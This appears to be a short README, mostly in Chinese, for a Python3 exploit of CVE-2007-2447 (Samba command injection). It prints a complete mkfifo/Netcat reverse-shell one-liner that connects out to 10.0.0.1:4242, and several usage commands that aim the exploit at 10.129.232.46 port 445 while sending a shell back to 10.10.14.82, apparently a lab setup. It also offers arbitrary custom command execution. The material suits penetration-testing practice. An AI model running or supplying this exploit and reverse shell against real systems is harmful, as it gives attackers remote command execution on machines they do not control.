
Exploit code for CVE-2007-2447 written in Python3.
此仓库包含我对 CVE-2007-2447 用 Python3 编写的漏洞利用代码。默认情况下,它向目标主机发送一个 Netcat OpenBSD 反弹 shell(端口 443),但您也可以指定自定义命令。
# Netcat OpenBSD 反弹shell
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.0.0.1 4242 >/tmp/f
# 利用目标 10.129.232.46 的 445 端口,向 10.10.14.82 的 443 端口发送反弹 shell
python3 CVE-2007-2447.py --rhost 10.129.232.46 --lhost 10.10.14.82
# 使用自定义远程端口和本地端口
python3 CVE-2007-2447.py --rhost 10.129.232.46 --rport 4445 --lhost 10.10.14.82 --lport 31337
# 执行自定义命令并为慢速主机设置超时
python3 CVE-2007-2447.py --rhost 10.129.232.46 -c "ping -c 3 10.10.14.82" -t 10